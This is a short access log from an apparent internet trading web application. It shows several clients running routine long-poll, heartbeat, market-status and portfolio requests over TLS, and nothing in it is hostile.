[09/Jan/2026:15:45:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944986689 HTTP/1.1" -
[09/Jan/2026:15:45:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944990039 HTTP/1.1" -
[09/Jan/2026:15:45:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945005535 HTTP/1.1" -
[09/Jan/2026:15:45:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944990941 HTTP/1.1" -
[09/Jan/2026:15:45:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944991726 HTTP/1.1" -
[09/Jan/2026:15:45:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944992883 HTTP/1.1" -
[09/Jan/2026:15:45:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944995074 HTTP/1.1" -
[09/Jan/2026:15:45:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945010566 HTTP/1.1" -
[09/Jan/2026:15:45:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944996083 HTTP/1.1" -
[09/Jan/2026:15:45:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944996765 HTTP/1.1" -
[09/Jan/2026:15:45:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944998879 HTTP/1.1" -
[09/Jan/2026:15:45:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945000103 HTTP/1.1" -
[09/Jan/2026:15:45:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945015627 HTTP/1.1" -
[09/Jan/2026:15:45:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945001228 HTTP/1.1" -
[09/Jan/2026:15:45:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945001824 HTTP/1.1" -
[09/Jan/2026:15:45:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945004881 HTTP/1.1" -
[09/Jan/2026:15:45:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945005139 HTTP/1.1" -
[09/Jan/2026:15:45:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945021695 HTTP/1.1" -
[09/Jan/2026:15:45:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945006845 HTTP/1.1" -
[09/Jan/2026:15:45:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945006266 HTTP/1.1" -
[09/Jan/2026:15:45:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:15:45:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:45:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1975
[09/Jan/2026:15:45:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:15:45:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945010202 HTTP/1.1" -
[09/Jan/2026:15:45:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945010891 HTTP/1.1" -
[09/Jan/2026:15:45:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945026726 HTTP/1.1" -
[09/Jan/2026:15:45:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945011882 HTTP/1.1" -
[09/Jan/2026:15:45:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945011361 HTTP/1.1" -
[09/Jan/2026:15:45:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945015298 HTTP/1.1" -
[09/Jan/2026:15:45:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945031779 HTTP/1.1" -
[09/Jan/2026:15:45:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945016889 HTTP/1.1" -
[09/Jan/2026:15:45:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945016910 HTTP/1.1" -
[09/Jan/2026:15:45:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945016471 HTTP/1.1" -
[09/Jan/2026:15:45:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945020339 HTTP/1.1" -
[09/Jan/2026:15:45:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945036806 HTTP/1.1" -
[09/Jan/2026:15:45:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945021946 HTTP/1.1" -
[09/Jan/2026:15:45:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945021600 HTTP/1.1" -
[09/Jan/2026:15:45:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945022890 HTTP/1.1" -
[09/Jan/2026:15:45:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945025369 HTTP/1.1" -
[09/Jan/2026:15:45:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945041859 HTTP/1.1" -
[09/Jan/2026:15:45:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945026993 HTTP/1.1" -
[09/Jan/2026:15:45:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945026743 HTTP/1.1" -
[09/Jan/2026:15:45:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:45:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:45:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:45:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945028879 HTTP/1.1" -
[09/Jan/2026:15:46:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945030408 HTTP/1.1" -
[09/Jan/2026:15:46:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945046877 HTTP/1.1" -
[09/Jan/2026:15:46:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945032045 HTTP/1.1" -
[09/Jan/2026:15:46:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945031861 HTTP/1.1" -
[09/Jan/2026:15:46:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945034886 HTTP/1.1" -
[09/Jan/2026:15:46:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945035454 HTTP/1.1" -
[09/Jan/2026:15:46:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945051942 HTTP/1.1" -
[09/Jan/2026:15:46:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945037071 HTTP/1.1" -
[09/Jan/2026:15:46:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945037003 HTTP/1.1" -
[09/Jan/2026:15:46:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945040489 HTTP/1.1" -
[09/Jan/2026:15:46:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945040881 HTTP/1.1" -
[09/Jan/2026:15:46:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945056963 HTTP/1.1" -
[09/Jan/2026:15:46:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945042135 HTTP/1.1" -
[09/Jan/2026:15:46:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945042066 HTTP/1.1" -
